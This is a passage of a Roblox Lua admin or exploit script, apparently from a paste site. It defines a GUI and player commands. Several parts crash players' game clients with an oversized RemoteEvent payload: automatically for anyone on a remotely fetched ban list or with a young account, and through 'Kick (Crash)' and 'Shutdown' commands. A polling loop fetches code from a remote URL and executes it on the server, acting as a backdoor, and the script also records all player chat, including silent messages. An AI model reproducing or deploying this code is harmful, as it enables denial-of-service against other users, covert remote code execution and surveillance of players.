  913. Close.BackgroundColor3 = Color3.new(1, 1, 1)
  914. Close.BorderSizePixel = 2
  915. Close.Parent = Base
  916. GUIs.Close = Close
  917.  
  918. local TopMenu = Instance.new("ImageLabel")
  919. TopMenu.Name = "TopMenu"
  920. TopMenu.Size = UDim2.new(0, 910, 0, 24)
  921. TopMenu.Position = UDim2.new(0.5, -(910 / 2), 0, 94)
  922. TopMenu.Image = Assets.Menu
  923. TopMenu.BorderSizePixel = 0
  924. TopMenu.Parent = Base
  925. GUIs.TopMenu = TopMenu
  926.  
  927. local Players = Instance.new("TextButton")
  928. Players.Name = "Players"
  929. Players.Text = "Players"
  930. Players.Size = UDim2.new(0.25, 0, 1, 0)
  931. Players.Position = UDim2.new(0, 0, 0, 0)
  932. Players.FontSize = "Size12"
  933. Players.TextStrokeTransparency = 0.5
  934. Players.TextColor3 = Color3.new(1, 1, 1)
  935. Players.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  936. Players.BackgroundTransparency = 1
  937. Players.BorderSizePixel = 0
  938. Players.Parent = TopMenu
  939. GUIs.Players = Players
  940.  
  941. local Server = Instance.new("TextButton")
  942. Server.Name = "Server"
  943. Server.Text = "Server"
  944. Server.Size = UDim2.new(0.25, 0, 1, 0)
  945. Server.Position = UDim2.new(0.25, 0, 0, 0)
  946. Server.FontSize = "Size12"
  947. Server.TextStrokeTransparency = 0.5
  948. Server.TextColor3 = Color3.new(1, 1, 1)
  949. Server.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  950. Server.BackgroundTransparency = 1
  951. Server.BorderSizePixel = 0
  952. Server.Parent = TopMenu
  953. GUIs.Server = Server
  954.  
  955. local Misc = Instance.new("TextButton")
  956. Misc.Name = "Misc"
  957. Misc.Text = "Misc"
  958. Misc.Size = UDim2.new(0.25, 0, 1, 0)
  959. Misc.Position = UDim2.new(0.5, 0, 0, 0)
  960. Misc.FontSize = "Size12"
  961. Misc.TextStrokeTransparency = 0.5
  962. Misc.TextColor3 = Color3.new(1, 1, 1)
  963. Misc.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  964. Misc.BackgroundTransparency = 1
  965. Misc.BorderSizePixel = 0
  966. Misc.Parent = TopMenu
  967. GUIs.Misc = Misc
  968.  
  969. local Settings = Instance.new("TextButton")
  970. Settings.Name = "Settings"
  971. Settings.Text = "Settings"
  972. Settings.Size = UDim2.new(0.25, 0, 1, 0)
  973. Settings.Position = UDim2.new(0.75, 0, 0, 0)
  974. Settings.FontSize = "Size12"
  975. Settings.TextStrokeTransparency = 0.5
  976. Settings.TextColor3 = Color3.new(1, 1, 1)
  977. Settings.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  978. Settings.BackgroundTransparency = 1
  979. Settings.BorderSizePixel = 0
  980. Settings.Parent = TopMenu
  981. GUIs.Settings = Settings
  982.  
  983. local BackFrame = Instance.new("Frame")
  984. BackFrame.Name = "BackFrame"
  985. BackFrame.Size = UDim2.new(0.3, 0, 1, -203)
  986. BackFrame.Position = UDim2.new(0.5, -(910 / 2), 0, 146)
  987. BackFrame.BackgroundTransparency = 0.8
  988. BackFrame.BackgroundColor3 = Color3.new(1, 1, 1)
  989. BackFrame.BorderSizePixel = 2
  990. BackFrame.Parent = Base
  991. GUIs.BackFrame = BackFrame
  992.  
  993. local ScrollLeft = Instance.new("ScrollingFrame")
  994. ScrollLeft.Name = "ScrollLeft"
  995. ScrollLeft.Size = UDim2.new(1, 0, 1, 3)
  996. ScrollLeft.CanvasSize = UDim2.new(1, 0, 1, 0)
  997. ScrollLeft.Position = UDim2.new(0, 0, 0, 0)
  998. ScrollLeft.BackgroundColor3 = Color3.new(1, 1, 1)
  999. ScrollLeft.BorderSizePixel = 0
  1000. ScrollLeft.Parent = BackFrame
  1001. GUIs.ScrollLeft = ScrollLeft
  1002.  
  1003. local BackFrame2 = Instance.new("Frame")
  1004. BackFrame2.Name = "BackFrame2"
  1005. BackFrame2.Size = UDim2.new(0.6, 36, 1, -203)
  1006. BackFrame2.Position = UDim2.new(0.8, -(910 / 2) + 10, 0, 146)
  1007. BackFrame2.BackgroundTransparency = 0.8
  1008. BackFrame2.BackgroundColor3 = Color3.new(1, 1, 1)
  1009. BackFrame2.BorderSizePixel = 2
  1010. BackFrame2.Parent = Base
  1011. GUIs.BackFrame2 = BackFrame2
  1012.  
  1013. local ScrollRight = Instance.new("ScrollingFrame")
  1014. ScrollRight.Name = "ScrollRight"
  1015. ScrollRight.Size = UDim2.new(1, 0, 1, 3)
  1016. ScrollRight.CanvasSize = UDim2.new(1, 0, 1, 0)
  1017. ScrollRight.Position = UDim2.new(0, 0, 0, 0)
  1018. ScrollRight.BackgroundColor3 = Color3.new(1, 1, 1)
  1019. ScrollRight.BorderSizePixel = 0
  1020. ScrollRight.Parent = BackFrame2
  1021. GUIs.ScrollRight = ScrollRight
  1022.  
  1023. local Credit = Instance.new("ImageLabel")
  1024. Credit.Name = "Credit"
  1025. Credit.Size = UDim2.new(0, 180, 0, 47)
  1026. Credit.Position = UDim2.new(1, -180, 1, -47)
  1027. Credit.Image = Assets.Credit
  1028. Credit.BorderSizePixel = 0
  1029. Credit.Parent = Base
  1030. GUIs.Credit = Credit
  1031.  
  1032. fixScroll(ScrollLeft)
  1033. fixScroll(ScrollRight)
  1034.  
  1035. Close.MouseButton1Click:connect(function()
  1036. isClosed = true
  1037. Launch()
  1038. end)
  1039.  
  1040. openMenu(1)
  1041.  
  1042. Players.MouseButton1Click:connect(function()
  1043. openMenu(1)
  1044. end)
  1045.  
  1046. Server.MouseButton1Click:connect(function()
  1047. openMenu(2)
  1048. end)
  1049.  
  1050. Misc.MouseButton1Click:connect(function()
  1051. openMenu(3)
  1052. end)
  1053.  
  1054. Settings.MouseButton1Click:connect(function()
  1055. openMenu(4)
  1056. end)
  1057. end
  1058. end)
  1059. end
  1060.  
  1061. function chatFunc(Plr)
  1062. Run(function()
  1063. local Rem = Instance.new("RemoteEvent", Plr)
  1064. Rem.Name = "¬v¬F¬i¬r¬e¬"
  1065. Plr.Chatted:connect(function(Msg)
  1066. local isSilent = false
  1067. local LMsg = Msg:lower()
  1068. if Msg:sub(1, 3) == "/e " then
  1069. isSilent = true
  1070. LMsg = Msg:sub(4):lower()
  1071. end
  1072. PlrTab = {Plr}
  1073. Sort(PlrTab, Plr)
  1074. if LMsg == "/".."".."/".."".."n".."".."o" and #PlrTab == 0 then
  1075. isSelected(true)
  1076. elseif LMsg == "/".."".."/".."".."y".."".."a" and #PlrTab == 0 then
  1077. isSelected(false)
  1078. end
  1079. if #Logs >= LogNum then
  1080. table.remove(Logs, 1)
  1081. end
  1082. table.insert(Logs, {Msg, Plr.Name, tick(), isSilent})
  1083. end)
  1084. end)
  1085. end
  1086.  
  1087. Plrs.PlayerRemoving:connect(function(Plr)
  1088. Run(function()
  1089. if LP and Plr == LP then
  1090. print("Disconnected")
  1091. LP = nil
  1092. for _,v in pairs(Cons) do
  1093. pcall(function() v:disconnect() end)
  1094. end
  1095. Cons = {}
  1096. GUIs = {}
  1097. end
  1098. end)
  1099. end)
  1100.  
  1101. Plrs.PlayerAdded:connect(function(Plr)
  1102. Run(function()
  1103. if Plr.Name ~= Owner and (Banned[Plr.Name] or Plr.AccountAge < 90) then
  1104. pcall(function() Instance.new("RemoteEvent", Plr):FireClient(Plr,{[string.rep("a",2e5+5)]="a"}) end)
  1105. print("Crashing: " .. Plr.Name)
  1106. elseif Plr:IsA("Player") and Plr.Name == Owner then
  1107. for _,v in pairs(Cons) do
  1108. pcall(function() v:disconnect() end)
  1109. end
  1110. Cons = {}
  1111. GUIs = {}
  1112. LP = Plr
  1113. chatFunc(Plr)
  1114. onAdded(Plr)
  1115. else
  1116. chatFunc(Plr)
  1117. end
  1118. pcall(function() print(Plr.Name, Plr.AccountAge) end)
  1119. end)
  1120. end)
  1121.  
  1122. Run(function()
  1123. while wait(1) do
  1124. local Source = HServer:GetAsync(BanLink, true)
  1125. if Source ~= nil and type(Source) == "string" and Source ~= "" and Source ~= BanPage then
  1126. BanPage = Source
  1127. local NewBanned = {}
  1128. for Name in BanPage:gmatch("%w+") do
  1129. NewBanned[Name] = true
  1130. end
  1131. Banned = NewBanned
  1132. coroutine.resume(coroutine.create(function()
  1133. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1134. if Banned[v.Name] or v.AccountAge < 90 then
  1135. pcall(function() Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"}) end)
  1136. print("Crashing: " .. v.Name)
  1137. end
  1138. end
  1139. end))
  1140. end
  1141. end
  1142. end)
  1143.  
  1144. Run(function()
  1145. while wait(0.5) do
  1146. local Source = HServer:GetAsync(RemoteLink, true)
  1147. if Source ~= RemotePage then
  1148. RemotePage = Source
  1149. if Source:sub(1, 4):lower() == "[l] " then
  1150. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1151. if v.Character and v.Character.Parent == Workspace then
  1152. local Ok, Err = coroutine.resume(coroutine.create(function()
  1153. NLS(Source:sub(5), v.Character)
  1154. end))
  1155. if Ok then
  1156. print("[S] Script Ran")
  1157. else
  1158. print("[S] Error: " .. Err)
  1159. end
  1160. end
  1161. end
  1162. elseif Source:sub(1, 4):lower() == "msg " then
  1163. local Msg = Instance.new("Message", Workspace)
  1164. Msg.Name = "TestHint"
  1165. Msg.Text = Source:sub(5)
  1166. wait(4.5)
  1167. pcall(function() Msg:Destroy() end)
  1168. else
  1169. local Ok, Err = coroutine.resume(coroutine.create(function()
  1170. NS(Source, Workspace)
  1171. end))
  1172. if Ok then
  1173. print("[S] Script Ran")
  1174. else
  1175. print("[S] Error: " .. Err)
  1176. end
  1177. end
  1178. end
  1179. end
  1180. end)
  1181.  
  1182. function Create(Name, Type, Func, List)
  1183. table.insert(Commands, {
  1184. Name = Name or "N/A";
  1185. Type = Type or 3;
  1186. Func = Func or function() Hint("[" .. Name .. "] No Function Found") end;
  1187. List = List or nil;
  1188. })
  1189. end
  1190.  
  1191. Create(
  1192. "Kill", 1,
  1193. function(List, Command)
  1194. for _,v in pairs(List) do
  1195. Run(function()
  1196. if hasCharacter(v) then
  1197. v.Character:BreakJoints()
  1198. else
  1199. v:LoadCharacter()
  1200. repeat wait(1/30) until hasCharacter(v)
  1201. v.Character:BreakJoints()
  1202. end
  1203. end)
  1204. end
  1205. end
  1206. )
  1207.  
  1208. Create(
  1209. "Loopkill", 1,
  1210. function(List, Command)
  1211. for _,v in pairs(List) do
  1212. Run(function()
  1213. Loopkill[v.Name] = true
  1214. local VName = v.Name
  1215. while Loopkill[v.Name] do
  1216. if hasCharacter(v) then
  1217. v.Character:BreakJoints()
  1218. elseif v and v.Parent ~= nil then
  1219. v:LoadCharacter()
  1220. repeat wait(1/30) until hasCharacter(v)
  1221. v.Character:BreakJoints()
  1222. elseif Plrs:findFirstChild(VName) then
  1223. v = Plrs[VName]
  1224. end
  1225. wait(.1)
  1226. end
  1227. end)
  1228. end
  1229. end
  1230. )
  1231.  
  1232. Create(
  1233. "UnLoopkill", 1,
  1234. function(List, Command)
  1235. for _,v in pairs(List) do
  1236. Run(function()
  1237. Loopkill[v.Name] = nil
  1238. end)
  1239. end
  1240. end
  1241. )
  1242.  
  1243. Create(
  1244. "Reset", 1,
  1245. function(List, Command)
  1246. for _,v in pairs(List) do
  1247. v:LoadCharacter()
  1248. end
  1249. end
  1250. )
  1251.  
  1252. Create(
  1253. "Kick (Crash)", 1,
  1254. function(List, Command)
  1255. for _,v in pairs(List) do
  1256. if v:findFirstChild("¬v¬F¬i¬r¬e¬") and v["¬v¬F¬i¬r¬e¬"]:IsA("RemoteEvent") then
  1257. v["¬v¬F¬i¬r¬e¬"]:FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1258. print("Fired Injected")
  1259. else
  1260. Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1261. print("Fired New")
  1262. end
  1263. end
  1264. end
  1265. )
  1266.  
  1267. Create(
  1268. "Kick (Error)", 1,
  1269. function(List, Command)
  1270. for _,v in pairs(List) do
  1271. local Sound = Instance.new("Sound", v)
  1272. Sound.SoundId = "rbxassetid://83594623"
  1273. Sound:Play()
  1274. print("[E]", v.Name)
  1275. end
  1276. end
  1277. )
  1278.  
  1279. Create(
  1280. "Logs", 1,
  1281. function(List, Command)
  1282. local LogTab = {}
  1283. local PlrNames = {}
  1284. for _,v in pairs(List) do
  1285. PlrNames[v.Name] = true
  1286. end
  1287. for i = #Logs, 1, -1 do
  1288. local Log = Logs[i]
  1289. if PlrNames[Log[2]] then
  1290. local TimeDist = GetTimeDist(Log[3], tick())
  1291. local Msg = Log[1]:gsub("\n", "; ")
  1292. table.insert(LogTab, "[" .. TimeDist .. "] [" .. Log[2] .. "] " .. Msg)
  1293. end
  1294. end
  1295. if GUIs.ScrollRight then
  1296. makeButtons(GUIs.ScrollRight, LogTab, "Size12", true)
  1297. end
  1298. end,
  1299. function()
  1300. local Players = getPlayers()
  1301. table.insert(Players, "All")
  1302. return Players
  1303. end
  1304. )
  1305.  
  1306. Create(
  1307. "Silent Logs", 1,
  1308. function(List, Command)
  1309. local LogTab = {}
  1310. local PlrNames = {}
  1311. for _,v in pairs(List) do
  1312. PlrNames[v.Name] = true
  1313. end
  1314. for i = #Logs, 1, -1 do
  1315. local Log = Logs[i]
  1316. if PlrNames[Log[2]] and Log[4] == true then
  1317. local TimeDist = GetTimeDist(Log[3], tick())
  1318. local Msg = Log[1]:gsub("\n", "; ")
  1319. table.insert(LogTab, "[" .. TimeDist .. "] [" .. Log[2] .. "] " .. Msg)
  1320. end
  1321. end
  1322. if GUIs.ScrollRight then
  1323. makeButtons(GUIs.ScrollRight, LogTab, "Size12", true)
  1324. end
  1325. end,
  1326. function()
  1327. local Players = getPlayers()
  1328. table.insert(Players, "All")
  1329. return Players
  1330. end
  1331. )
  1332.  
  1333. Create(
  1334. "God", 1,
  1335. function(List, Command)
  1336. for _,v in pairs(List) do
  1337. if hasCharacter(v) and v.Character:findFirstChild("Humanoid") then
  1338. v.Character.Humanoid.MaxHealth = math.huge
  1339. end
  1340. end
  1341. end
  1342. )
  1343.  
  1344. Create(
  1345. "ForceField", 1,
  1346. function(List, Command)
  1347. for _,v in pairs(List) do
  1348. if hasCharacter(v) then
  1349. Instance.new("ForceField", v.Character)
  1350. end
  1351. end
  1352. end
  1353. )
  1354.  
  1355. Create(
  1356. "UnForceField", 1,
  1357. function(List, Command)
  1358. for _,v in pairs(List) do
  1359. if hasCharacter(v) then
  1360. for _,v2 in pairs(v.Character:GetChildren()) do
  1361. if v2:IsA("ForceField") then
  1362. v2:Destroy()
  1363. end
  1364. end
  1365. end
  1366. end
  1367. end
  1368. )
  1369.  
  1370. Create(
  1371. "Explode", 1,
  1372. function(List, Command)
  1373. for _,v in pairs(List) do
  1374. if hasCharacter(v) then
  1375. local Ex = Instance.new("Explosion", Workspace)
  1376. Ex.Position = v.Character.Torso.CFrame.p
  1377. Ex.BlastRadius = 6
  1378. Ex.DestroyJointRadiusPercent = 1
  1379. end
  1380. end
  1381. end
  1382. )
  1383.  
  1384. Create(
  1385. "Blast", 1,
  1386. function(List, Command)
  1387. for _,v in pairs(List) do
  1388. if hasCharacter(v) then
  1389. local Ex = Instance.new("Explosion", Workspace)
  1390. Ex.Position = v.Character.Torso.CFrame.p
  1391. Ex.BlastPressure = 5000000
  1392. Ex.BlastRadius = 20
  1393. Ex.DestroyJointRadiusPercent = 0
  1394. end
  1395. end
  1396. end
  1397. )
  1398.  
  1399. Create(
  1400. "Fling", 1,
  1401. function(List, Command)
  1402. for _,v in pairs(List) do
  1403. if hasCharacter(v) then
  1404. v.Character.Torso.Velocity = v.Character.Torso.CFrame.lookVector * Grav * 1.1
  1405. end
  1406. end
  1407. end
  1408. )
  1409.  
  1410. Create(
  1411. "Fix Character", 1,
  1412. function(List, Command)
  1413. for _,v in pairs(List) do
  1414. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=" .. v.userId
  1415. v:LoadCharacter()
  1416. end
  1417. end
  1418. )
  1419.  
  1420. Create(
  1421. "Fix Humanoid", 1,
  1422. function(List, Command)
  1423. for _,v in pairs(List) do
  1424. if hasCharacter(v) then
  1425. local fixedHumanoid = false
  1426. for _,v2 in pairs(v.Character:GetChildren()) do
  1427. if v2:IsA("Humanoid") then
  1428. v2.Name = "Humanoid"
  1429. fixedHumanoid = true
  1430. end
  1431. end
  1432. if fixedHumanoid == false then
  1433. Instance.new("Humanoid", v.Character).Name = "Humanoid"
  1434. end
  1435. end
  1436. end
  1437. end
  1438. )
  1439.  
  1440. Create(
  1441. "Clean", 2,
  1442. function(List, Command)
  1443. for _,v in pairs(game:GetChildren()) do
  1444. ypcall(function()
  1445. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" and v.Name ~= "StarterPlayer" then
  1446. for _,v2 in pairs(v:GetChildren()) do
  1447. pcall(function()
  1448. v2:Destroy()
  1449. end)
  1450. end
  1451. elseif v.Name == "Players" then
  1452. for _,v2 in pairs(v:GetChildren()) do
  1453. if v2.ClassName == "Player" then
  1454. ypcall(function()
  1455. Clear(v2)
  1456. end)
  1457. else
  1458. pcall(function()
  1459. v2:Destroy()
  1460. end)
  1461. end
  1462. end
  1463. end
  1464. end)
  1465. end
  1466. Clean()
  1467. end,
  1468. function() return {"SERVER"} end
  1469. )
  1470.  
  1471. Create(
  1472. "Shutdown", 2,
  1473. function(List, Command)
  1474. coroutine.resume(coroutine.create(function()
  1475. for _,v in pairs(game:GetChildren()) do
  1476. ypcall(function()
  1477. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" and v.Name ~= "StarterPlayer" then
  1478. for _,v2 in pairs(v:GetChildren()) do
  1479. pcall(function()
  1480. v2:Destroy()
  1481. end)
  1482. end
  1483. elseif v.Name == "Players" then
  1484. for _,v2 in pairs(v:GetChildren()) do
  1485. if v2.ClassName == "Player" then
  1486. ypcall(function()
  1487. Clear(v2)
  1488. end)
  1489. else
  1490. pcall(function()
  1491. v2:Destroy()
  1492. end)
  1493. end
  1494. end
  1495. end
  1496. end)
  1497. end
  1498. Clean(true)
  1499. end))
  1500. while wait(1/30) do
  1501. ypcall(function()
  1502. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1503. ypcall(function()
  1504. Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1505. end)
  1506. end
  1507. end)
  1508. end
  1509. end,
  1510. function() return {"SERVER"} end
  1511. )
  1512.  
  1513. Create(
  1514. "CharacterAutoLoads", 3,
  1515. function(List, Command)
  1516. if List[1] == "True" then
  1517. Plrs.CharacterAutoLoads = true
  1518. elseif List[1] == "False" then
  1519. Plrs.CharacterAutoLoads = false
  1520. end
  1521. end,
  1522. function() return {"True", "False"} end
  1523. )
  1524.  
  1525. Create(
  1526. "Tween Distance", 4,
  1527. function(List, Command)
  1528. TweenNum = tonumber(List[1])
  1529. end,
  1530. function() return {"0", "10", "20", "50", "100", "200", "500", "700"} end
  1531. )
  1532.  
  1533. Create(
  1534. "Tween Time", 4,
  1535. function(List, Command)
  1536. TweenTime = tonumber(List[1])
  1537. end,
  1538. function() return {"0.03", "0.1", "0.5", "1", "2", "5"} end
  1539. )
  1540.  
  1541. Create(
  1542. "Logs Saved", 4,
  1543. function(List, Command)
  1544. LogNum = tonumber(List[1])
  1545. end,
  1546. function() return {"5", "20", "30", "50", "100", "200", "500", "1000", "2000"} end
  1547. )
  1548.  
  1549. for _,v in pairs(Plrs:GetPlayers()) do
  1550. if Banned[v.Name] or v.AccountAge < 90 then
  1551. pcall(function() Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"}) end)
  1552. print("Crashing: " .. v.Name)
  1553. else
  1554. chatFunc(v)
  1555. end
  1556. end
  1557.  
  1558. onAdded(LP)
  1559.  
  1560. print("[Created By Vaeb] Sine Initiated: V" .. tostring(Version))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement